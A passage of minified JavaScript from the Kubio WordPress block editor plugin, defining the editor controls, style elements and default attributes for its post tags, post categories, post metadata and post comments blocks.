container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:jn.StatesPresetsEnum.NONE,filters:{[jn.StylesEnum.BORDER]:{supportsBoxShadow:!1}}}},[zA]:{label:(0,We.__)("Tag links","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.BASIC,filters:{[jn.StylesEnum.BORDER]:{supportsBoxShadow:!1}}}},[VA]:{label:(0,We.__)("No tags placeholder","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.BASIC,filters:{[jn.StylesEnum.BORDER]:{supportsBoxShadow:!1}}}}},$A=()=>{const e={type:Ne.WithDataPathTypes.STYLE,style:FA};return(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Post tags properties","kubio"),children:[(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Space between links","kubio"),type:Ne.WithDataPathTypes.STYLE,style:zA,min:0,max:50,path:"margin.right"}),(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{label:(0,We.__)("Horizontal align","kubio"),path:"textAlign",...e}),(0,Je.jsx)(ut.InputControlWithPath,{label:(0,We.__)("No tag placeholder","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"placeholder"})]})})},KA=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)($A,{})}),qA=(0,Ne.withColibriDataAutoSave)((e=>{}))((({computed:e})=>{const t={type:Ne.WithDataPathTypes.STYLE,style:zA};return(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Link","kubio"),children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Link color","kubio"),path:"typography.color",...t}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Link hover color","kubio"),path:"typography.color",state:"hover",...t}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",withColor:!1,...t})]})})),XA=qA,QA=()=>(0,Je.jsx)(Oe.StyleInspectorControls,{children:(0,Je.jsx)(XA,{})}),ZA=e=>{const{computed:t,StyledElements:o,context:n}=e,{placeholder:a}=t,[i]=(0,Bt.useEntityProp)("postType",n.postType,"tags",n.postId),r=(0,Me.useRef)(),s=(0,Le.useSelect)((e=>{const{getEntityRecord:t}=e("core");let o=!0;const n=null==i?void 0:i.map((e=>t("taxonomy","post_tag",e)||(o=!1)));return o&&n}),[i]),l=e=>{"a"===e.target.tagName.toLowerCase()&&(e.preventDefault(),e.stopPropagation())};let u;(0,Me.useEffect)((()=>{var e;return null===(e=r.current)||void 0===e||e.addEventListener("click",l),()=>{var e;return null===(e=r.current)||void 0===e?void 0:e.removeEventListener("click",l)}}),[]),n.postType&&n.postId||(u=(0,Je.jsx)(st.Warning,{children:(0,We.__)("Post tags block: No post found for this block.","kubio")}));let c=u;return u||(c=s&&0!==s.length?null==s?void 0:s.map((e=>(0,Je.jsx)("a",{href:e.link,children:e.name},e.name))):(0,Je.jsx)(o.Placeholder,{children:a})),(0,Je.jsx)(o.Container,{ref:r,children:c})},JA=(0,De.compose)((0,Ne.withColibriData)(((e,t)=>({placeholder:e.getAttribute("placeholder")}))),(0,Ne.withStyledElements)((({computed:e}={})=>({[FA]:{},[zA]:{},[VA]:{}})))),ej=JA(ZA);JA(ZA);const tj={name:"kubio/post-tags",category:"kubio-blog-components",attributes:{kubio:{type:"object"},placeholder:{type:"string",default:"No tag"}},usesContext:["postId","postType"],supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{link:{margin:{right:{value:10,unit:"px"}}}}},props:{}},elementsEnum:{CONTAINER:"container",LINK:"link",PLACEHOLDER:"placeholder",TAGS:"tags"},elementsByName:{container:{wrapper:!0,default:!0,props:{className:["kubio-post-tags-container"]}},link:{selector:"a",props:{className:["kubio-post-tags-link"]}},placeholder:{props:{className:["kubio-post-tags-placeholder"]}}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"placeholder"}},{type:"element",props:{name:"tags"}}]}}}},oj=(0,Sn.extendBlockMeta)(tj,{title:(0,We.__)("Post Tags","kubio"),description:(0,We.__)("Add relevant tags to every blog article. This way you will group them under the same index.","kubio"),keywords:[(0,We.__)("tag","kubio")],icon:Tn.BlockIcons.PostTags,apiVersion:2,supports:{kubio:{elementsByName:YA},reusable:!1,html:!1},edit:function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(KA,{}),(0,Je.jsx)(QA,{}),(0,Je.jsx)(ej,{...e})]})}}),nj="container",aj="link",ij="separator",rj="placeholder",sj="tags",lj={[nj]:{label:(0,We.__)("Categories container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:jn.StatesPresetsEnum.NONE,filters:{[jn.StylesEnum.BORDER]:{supportsBoxShadow:!1}}}},[aj]:{label:(0,We.__)("Category links","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.BASIC,filters:{[jn.StylesEnum.BORDER]:{supportsBoxShadow:!1}}}},[ij]:{label:(0,We.__)("Separator","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.NONE,filters:{[jn.StylesEnum.BORDER]:{supportsBoxShadow:!1}}}},[rj]:{label:(0,We.__)("No category placeholder","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.NONE,filters:{[jn.StylesEnum.BORDER]:{supportsBoxShadow:!1}}}},[sj]:{internal:!0}},uj=()=>{const e={type:Ne.WithDataPathTypes.STYLE,style:nj};return(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Post categories properties","kubio"),children:[(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Space between links","kubio"),type:Ne.WithDataPathTypes.STYLE,style:aj,min:0,max:50,path:["margin.right","margin.left"]}),(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{label:(0,We.__)("Horizontal align","kubio"),path:"textAlign",...e}),(0,Je.jsx)(ut.InputControlWithPath,{label:(0,We.__)("Separator","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"separator"}),(0,Je.jsx)(ut.InputControlWithPath,{label:(0,We.__)("No category placeholder","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"placeholder"})]})})},cj=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(uj,{})}),pj=(0,Ne.withColibriDataAutoSave)((e=>{}))((({computed:e})=>{const t={type:Ne.WithDataPathTypes.STYLE,style:aj},o={type:Ne.WithDataPathTypes.STYLE,style:[aj,ij]};return(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Link","kubio"),children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Link color","kubio"),path:"typography.color",...t}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Link hover color","kubio"),path:"typography.color",state:"hover",...t}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",withColor:!1,...o})]})})),dj=pj,mj=()=>(0,Je.jsx)(Oe.StyleInspectorControls,{children:(0,Je.jsx)(dj,{})}),hj=e=>{const{computed:t,StyledElements:o,context:n}=e,{separator:a,placeholder:i}=t,[r]=(0,Bt.useEntityProp)("postType",n.postType,"categories",n.postId),s=(0,Me.useRef)(),l=(0,Le.useSelect)((e=>{const{getEntityRecords:t}=e("core");return t("taxonomy","category",{include:(0,Ae.uniq)(r),per_page:-1})}),[r]),u=e=>{"a"===e.target.tagName.toLowerCase()&&(e.preventDefault(),e.stopPropagation())};let c;(0,Me.useEffect)((()=>{var e;return null===(e=s.current)||void 0===e||e.addEventListener("click",u),()=>{var e;return null===(e=s.current)||void 0===e?void 0:e.removeEventListener("click",u)}}),[]),n.postType&&n.postId||(c=(0,We.__)("Post categories block: No post found for this block.","kubio"));let p=(0,Je.jsx)(st.Warning,{actions:[],children:c});const d=l&&l.length;return c||(p=(0,Je.jsxs)(Je.Fragment,{children:[d>0&&(0,Je.jsx)(o.Tags,{ref:s,children:null==l?void 0:l.map(((e,t)=>(0,Je.jsxs)(Me.Fragment,{children:[(0,Je.jsx)("a",{href:e.link,children:e.name}),t<l.length-1&&a?(0,Je.jsx)("span",{className:"separator",children:a}):""]},e.id)))}),!d&&(0,Je.jsx)(o.Placeholder,{children:i})]})),(0,Je.jsx)(o.Container,{ref:s,children:p})},bj=(0,De.compose)((0,Ne.withColibriData)(((e,t)=>({separator:e.getAttribute("separator"),placeholder:e.getAttribute("placeholder")}))),(0,Ne.withStyledElements)((()=>({[nj]:{className:"kubio-post-categories-container"},[rj]:{className:"kubio-post-categories-placeholder"}})))),gj=bj(hj);bj(hj);const yj={name:"kubio/post-categories",category:"kubio-blog-components",attributes:{kubio:{type:"object"},separator:{type:"string",default:"-"},placeholder:{type:"string",default:"No category"}},usesContext:["postId","postType"],supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{link:{margin:{right:{value:10,unit:"px"},left:{value:10,unit:"px"}}}}},props:{}},elementsEnum:{CONTAINER:"container",LINK:"link",SEPARATOR:"separator",PLACEHOLDER:"placeholder",TAGS:"tags"},elementsByName:{container:{wrapper:!0,default:!0,props:{className:["kubio-post-categories-container"]}},link:{selector:"a"},separator:{selector:".separator"},placeholder:{props:{className:["kubio-post-categories-placeholder"]}}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"placeholder"}},{type:"element",props:{name:"tags"}}]}}}},kj=(0,Sn.extendBlockMeta)(yj,{title:(0,We.__)("Post Categories","kubio"),description:(0,We.__)("Add categories to your blog articles in order to make it easier for users to browse similar topics.","kubio"),keywords:[(0,We.__)("category","kubio")],icon:Tn.BlockIcons.PostCategories,apiVersion:2,supports:{kubio:{elementsByName:lj},reusable:!1,html:!1},edit:function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(cj,{}),(0,Je.jsx)(mj,{}),(0,Je.jsx)(gj,{...e})]})}}),fj={METADATACONTAINER:"metaDataContainer",METADATALINKS:"metaDataLinks",METADATAPREFIX:"metaDataPrefix",METADATASUFFIX:"metaDataSuffix",ICONS:"icons",SEPARATORS:"separators"},_j={filters:{border:{supportsBoxShadow:!1}}},vj={[fj.METADATACONTAINER]:{label:(0,We.__)("Metadata Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.NONE,..._j}},[fj.METADATALINKS]:{label:(0,We.__)("Metadata Links","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.BASIC,..._j}},[fj.METADATAPREFIX]:{label:(0,We.__)("Metadata Prefix","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.BASIC,..._j}},[fj.METADATASUFFIX]:{label:(0,We.__)("Metadata Suffix","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.BASIC,..._j}},[fj.ICONS]:{label:(0,We.__)("Icons","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:jn.StatesPresetsEnum.NONE,..._j}},[fj.SEPARATORS]:{label:(0,We.__)("Separators","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.NONE,..._j}}},xj={dateFormatOptions:[{label:(0,We.__)("March 6, 2021","kubio"),value:"F j, Y"},{label:(0,We.__)("March 6 2021","kubio"),value:"F j Y"},{label:(0,We.__)("6 March 2021","kubio"),value:"j F Y"},{label:(0,We.__)("6 March, 2021","kubio"),value:"j F, Y"},{label:(0,We.__)("30.03.2021","kubio"),value:"d.m.Y"},{label:(0,We.__)("03.30.2021","kubio"),value:"m.d.Y"},{label:(0,We.__)("6 Mar","kubio"),value:"j M"},{label:(0,We.__)("Mar 6","kubio"),value:"M j"},{label:(0,We.__)("March 6","kubio"),value:"F j"},{label:(0,We.__)("6 March","kubio"),value:"j F"}]},Cj=e=>{const{item:t,index:o,isActive:n}=e,a=`metadata[${o}]`,i={mergeArrays:!0};return(0,Je.jsxs)(Je.Fragment,{children:["date"===t.value&&(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsx)(ut.SelectControlWithPath,{label:(0,We.__)("Date format","kubio"),options:xj.dateFormatOptions,type:Ne.WithDataPathTypes.ATTRIBUTE,path:"dateFormat",...i})}),(0,Je.jsx)(ut.InputControlWithPath,{label:(0,We.__)("Prefix","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:`${a}.prefix`,useDebounce:!1,...i}),(0,Je.jsx)(ut.InputControlWithPath,{label:(0,We.__)("Suffix","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:`${a}.suffix`,useDebounce:!1,...i}),n&&(0,Je.jsx)(ut.IconPickerWithPath,{path:`${a}.icon`,type:Ne.WithDataPathTypes.ATTRIBUTE,...i})]})},Ij=(0,Ne.withComputedData)((e=>{const t=e.getAttribute("metadata",[]),o=t.filter((e=>null==e?void 0:e.check)),n=t.map((e=>({...e,title:null==e?void 0:e.name})));return{defaultTextAlign:(0,bt.useInheritedTextAlign)(),items:n,onToggleTarget:(t,n,a)=>{if(!n&&o.length<2)return;const i=`metadata.[${a}].check`;e.setAttribute(i,n,{mergeArrays:!0})},onMetaItemsSortEnd:({oldIndex:t,newIndex:o})=>{const a=je().cloneDeep(n),i=a.splice(t,1)[0];a.splice(o,0,i),e.setAttribute("metadata",a,{mergeData:!1})}}}))((({computed:e})=>{const{items:t,onToggleTarget:o,onMetaItemsSortEnd:n,spaceBetween:a}=e,i={type:Ne.WithDataPathTypes.STYLE,style:fj.METADATACONTAINER},{defaultTextAlign:r}=e;return(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Metadata properties","kubio"),children:[(0,Je.jsx)(ut.HorizontalFlexAlignControlWithPath,{label:(0,We.__)("Horizontal align","kubio"),path:"justifyContent",defaultValue:r,...i}),(0,Je.jsx)(ut.SortableAccordion,{selectItem:!1,items:t,allowDuplicate:!1,allowDelete:!1,onToggleTarget:o,toggleTarget:"check",onSortEnd:n,contentRendered:(e,t,o)=>(0,Je.jsx)(Cj,{item:e,index:t,isActive:o})}),(0,Je.jsx)(ut.InputControlWithPath,{label:(0,We.__)("Separator","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"separator"}),(0,Je.jsx)(ut.ToggleControlWithPath,{type:Ne.WithDataPathTypes.ATTRIBUTE,path:"showIcons",label:(0,We.__)("Show icons","kubio")})]})})})),Ej=Ij,Tj=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(Ej,{})}),Sj={type:Ne.WithDataPathTypes.STYLE,style:fj.TEXT},wj={type:Ne.WithDataPathTypes.STYLE,style:fj.METADATALINKS},Pj={type:Ne.WithDataPathTypes.STYLE,style:fj.ICONS},Aj=(0,Ne.withColibriDataAutoSave)((e=>{const t=function(){const t={styledComponent:fj.SEPARATORS},o=e.getStyle("padding.left",null,t);return isNaN(null==o?void 0:o.value)||(o.value=2*o.value),{value:o,onChange:o=>{const n={value:parseInt(parseInt(null==o?void 0:o.value)/2),unit:"px"},a={left:n,right:n};e.setStyle("padding",a,t)},onReset:()=>{const o={...t,unset:!0};e.setStyle("padding.left",null,o),e.setStyle("padding.right",null,o)}}}();return{typography:{onChange:t=>{e.setStyle("typography",t,{styledComponent:fj.METADATALINKS}),e.setStyle("typography",t,{styledComponent:fj.METADATAPREFIX}),e.setStyle("typography",t,{styledComponent:fj.METADATASUFFIX})},onReset:()=>{const t={unset:!0,ignoredPathOnUnset:"color"};e.setStyle("typography",null,{...t,styledComponent:fj.METADATALINKS}),e.setStyle("typography",null,{...t,styledComponent:fj.METADATAPREFIX}),e.setStyle("typography",null,{...t,styledComponent:fj.METADATASUFFIX})}},spaceBetween:t}}))((({computed:e})=>{const{spaceBetween:t,typography:o}=e;return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Metadata","kubio"),children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Background color","kubio"),path:"background.color",...Sj}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Link color","kubio"),path:"typography.color",...wj,defaultValue:(0,bt.useInheritedTypographyValue)("a","color")}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Link hover color","kubio"),path:"typography.color",state:"hover",...wj,defaultValue:(0,bt.useInheritedTypographyValue)("a.states.hover","color")}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Icon color","kubio"),path:"fill",...Pj,defaultValue:(0,bt.useInheritedTypographyValue)("a","color")}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Icon size","kubio"),path:["width","height"],max:50,...Pj}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Icon space","kubio"),path:"margin.right",max:50,...Pj}),(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Space between items","kubio"),...t,max:100}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",...wj,...o,nodeType:"a"})]})})),jj=Aj,Bj=()=>(0,Je.jsx)(Oe.StyleInspectorControls,{children:(0,Je.jsx)(jj,{})}),Nj=({prefix:e,showIcons:t,icon:o,suffix:n,separator:a,link:i="#",children:r,isLast:s})=>{const l=e=>void 0===e?"":` ${e} `;return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsxs)("span",{className:"metadata-item",children:[e&&(0,Je.jsx)("span",{className:"metadata-prefix",children:l(e)}),(0,Je.jsxs)("a",{href:i,children:[Boolean(t)&&(0,Je.jsx)(ut.CanvasIcon,{name:o}),l(r)]}),n&&(0,Je.jsx)("span",{className:"metadata-suffix",children:l(n)})]}),!s&&(0,Je.jsx)("span",{className:"metadata-separator",children:a})]})},Oj=window.moment;var Rj=o.n(Oj);const Dj={date:e=>{const{metaContent:t,dateFormat:o}=e,{dateTime:n}=t,a=(0,Me.useMemo)((()=>{const e=Rj()(n),t=(e=>{const t={d:"DD",F:"MMMM",j:"D",Y:"YYYY",m:"MM",M:"MMM"};return e.replace(/\w/g,(e=>_.get(t,e,e)))})(o);return e.format(t)}),[n,o]);return(0,Je.jsx)(Nj,{...e,children:a})},author:e=>{const t=je().get(e,"metaContent.author",{}),o=null==t?void 0:t.name;return(0,Je.jsx)(Nj,{...e,children:o})},time:e=>{const{metaContent:t}=e,{dateTime:o}=t,n=(0,Me.useMemo)((()=>Rj()(o).format("hh:mm A")),[o]);return(0,Je.jsx)(Nj,{...e,children:n})},comments:e=>{const t=je().get(e,"metaContent.comments",[]),o=t?t.length:"";return(0,Je.jsx)(Nj,{...e,children:o})}},Lj=(0,De.compose)((0,Ne.withColibriData)(((e,t)=>({activeMetaArray:e.getAttribute("metadata",[]).filter((e=>e.check)),showIcons:e.getAttribute("showIcons"),separator:e.getAttribute("separator"),dateFormat:e.getAttribute("dateFormat")}))),(0,Ne.withStyledElements)((({computed:e}={})=>({}))))((({StyledElements:e,attributes:t,context:o,computed:n})=>{const{activeMetaArray:a,showIcons:i,separator:r,dateFormat:s}=n,{postType:l,postId:u}=o,c=a.map((({value:e})=>e)),p=(0,Le.useSelect)((e=>{const{getEntityRecords:t,getEntityRecord:o,getUser:n}=e("core"),a=o("postType",l,u),i=null==a?void 0:a.author,r=null==a?void 0:a.date_gmt;return{comments:c.includes("comments")?t("root","comment",{post:u}):0,author:i&&c.includes("author")?n(i):null,dateTime:r}}),[l,u,c]),d=(0,Ne.useDeepMemo)((()=>a.map(((e,t)=>{const o=je().get(Dj,null==e?void 0:e.value);if(!o)return(0,Je.jsx)(Je.Fragment,{});const n=t===a.length-1;return(0,Je.jsx)(o,{showIcons:i,separator:r,dateFormat:s,isLast:n,metaContent:p,...e},null==e?void 0:e.value)}))),[a,i,r,s,p]);return(0,Je.jsx)(e.MetaDataContainer,{children:d})})),Mj={name:"kubio/post-meta",category:"kubio-blog-components",attributes:{kubio:{type:"object"},separator:{type:"string",default:"|"},showIcons:{type:"boolean",default:!0},dateFormat:{type:"string",default:"F j, Y"},editorContext:{type:"object"},metadata:{type:"array",default:[{value:"author",name:"Author",check:!0,icon:"font-awesome/user",id:0,prefix:"",suffix:""},{value:"date",name:"Date",check:!0,icon:"font-awesome/calendar",id:1,prefix:"",suffix:""},{value:"time",name:"Time",check:!0,icon:"font-awesome/clock-o",id:2,prefix:"",suffix:""},{value:"comments",name:"Comments",check:!0,icon:"font-awesome/comment",id:3,prefix:"",suffix:""}]}},usesContext:["postId","postType"],supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{icons:{width:{value:20,unit:"px"},height:{value:20,unit:"px"},margin:{right:{value:5,unit:"px"}}},separators:{padding:{left:{value:5,unit:"px"},right:{value:5,unit:"px"}}}}},props:{}},elementsEnum:{METADATACONTAINER:"metaDataContainer",METADATALINKS:"metaDataLinks",METADATAPREFIX:"metaDataPrefix",METADATASUFFIX:"metaDataSuffix",ICONS:"icons",SEPARATORS:"separators"},elementsByName:{metaDataContainer:{wrapper:!0,default:!0,props:{className:["h-blog-meta"]}},metaDataLinks:{selector:"a"},metaDataPrefix:{selector:".metadata-prefix"},metaDataSuffix:{selector:".metadata-suffix"},icons:{selector:".h-svg-icon"},separators:{selector:".metadata-separator"}},template:{type:"element",props:{name:"metaDataContainer"}}}}},Wj=(0,Sn.extendBlockMeta)(Mj,{title:(0,We.__)("Post Metadata","kubio"),description:(0,We.__)("Add details to your blog articles such as author, publishing date, and comments.","kubio"),keywords:[(0,We.__)("meta","kubio"),(0,We.__)("metadata","kubio"),(0,We.__)("description","kubio")],icon:Tn.BlockIcons.PostMetadata,apiVersion:2,supports:{kubio:{elementsByName:vj},reusable:!1,html:!1},edit:function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(Tj,{}),(0,Je.jsx)(Bj,{}),(0,Je.jsx)(Lj,{...e})]})}}),Hj={CONTAINER:"commentsContainer",NUMBER:"commentsTitle",CLOSED:"disabledComments",EVEN:"comment",ODD:"alternateComment",AVATAR:"commentAvatar",AUTHOR_NAME:"commentAuthorName",AUTHOR_LINK:"commentAuthorLink",DATE:"commentDate",EDIT:"commentEdit",CONTENT:"commentText",REPLY_LINK:"commentReply",REPLY_FORM:"commentReplyForm",REPLIES:"commentReplies",COMMENT_META_CONTAINER:"commentInfoContainer",COMMENT_META:"commentInfo"},Gj={[Hj.CONTAINER]:{label:(0,We.__)("Comments container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY_FOR_CONTAINER],states:jn.StatesPresetsEnum.BASIC,filters:{background:{types:["none","image","gradient"],showOverlayOptions:!0}}}},[Hj.NUMBER]:{label:(0,We.__)("Comments number","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.NONE}},[Hj.CLOSED]:{label:(0,We.__)("Closed comments message","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.NONE}},[Hj.EVEN]:{label:(0,We.__)("Even comment","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:jn.StatesPresetsEnum.BASIC}},[Hj.ODD]:{label:(0,We.__)("Odd comment","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:jn.StatesPresetsEnum.BASIC}},[Hj.AVATAR]:{label:(0,We.__)("Avatar","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:jn.StatesPresetsEnum.BASIC}},[Hj.AUTHOR_NAME]:{label:(0,We.__)("Name","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.BASIC}},[Hj.AUTHOR_LINK]:{label:(0,We.__)("Link","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.BASIC}},[Hj.DATE]:{label:(0,We.__)("Date","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.BASIC}},[Hj.EDIT]:{label:(0,We.__)("Edit link","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.BASIC}},[Hj.CONTENT]:{label:(0,We.__)("Content","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY_FOR_CONTAINER],states:jn.StatesPresetsEnum.NONE}},[Hj.REPLY_LINK]:{label:(0,We.__)("Reply link","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.BASIC}},[Hj.REPLY_FORM]:{label:(0,We.__)("Reply form","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY_FOR_CONTAINER],states:jn.StatesPresetsEnum.BASIC}},[Hj.REPLIES]:{internal:!0},[Hj.COMMENT_META]:{internal:!0},[Hj.COMMENT_META_CONTAINER]:{internal:!0}},Uj=[{label:(0,We.__)("General","kubio"),items:[Hj.CONTAINER,Hj.NUMBER,Hj.CLOSED,Hj.EVEN,Hj.ODD,Hj.CONTENT]},{label:(0,We.__)("Author","kubio"),items:[Hj.AVATAR,Hj.AUTHOR_NAME,Hj.AUTHOR_LINK]},{label:(0,We.__)("Metadata","kubio"),items:[Hj.DATE,Hj.EDIT]},{label:(0,We.__)("Reply","kubio"),items:[Hj.REPLY_LINK,Hj.REPLY_FORM]}],Fj=(0,Ne.withComputedData)((e=>{}))((({computed:e})=>(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Post comments properties","kubio"),children:[(0,Je.jsx)(ut.InputControlWithPath,{label:(0,We.__)("No comments title","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"noCommentsTitle"}),(0,Je.jsx)(ut.InputControlWithPath,{label:(0,We.__)("One comment title","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"oneCommentTitle"}),(0,Je.jsx)(ut.InputControlWithPath,{label:(0,We.__)("Multiple comments title","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"multipleComments"}),(0,Je.jsx)(ut.InputControlWithPath,{label:(0,We.__)("Disable comments message","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"commentsDisabled"})]})}))),zj=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(Fj,{})}),Vj=(0,Ne.withComputedData)((e=>({border:{value:e.getStyle("border.top.radius.left",null,{styledComponent:"commentAvatar"}),onChange:t=>{const o={top:{radius:{left:t,right:t}},bottom:{radius:{left:t,right:t}}};e.setStyle("border",o,{styledComponent:"commentAvatar"})},onReset:()=>{e.setStyle("border",Be.UNSET_VALUE,{styledComponent:"commentAvatar"})}}})))((({computed:e})=>{const{border:t}=e,o={min:0,max:100,step:1,units:["%"]};return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Comments","kubio"),children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Comments number","kubio"),path:"typography.color",type:Ne.WithDataPathTypes.STYLE,style:Hj.NUMBER}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{label:(0,We.__)("Comments number typography","kubio"),path:"typography",style:Hj.NUMBER}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Comments reply 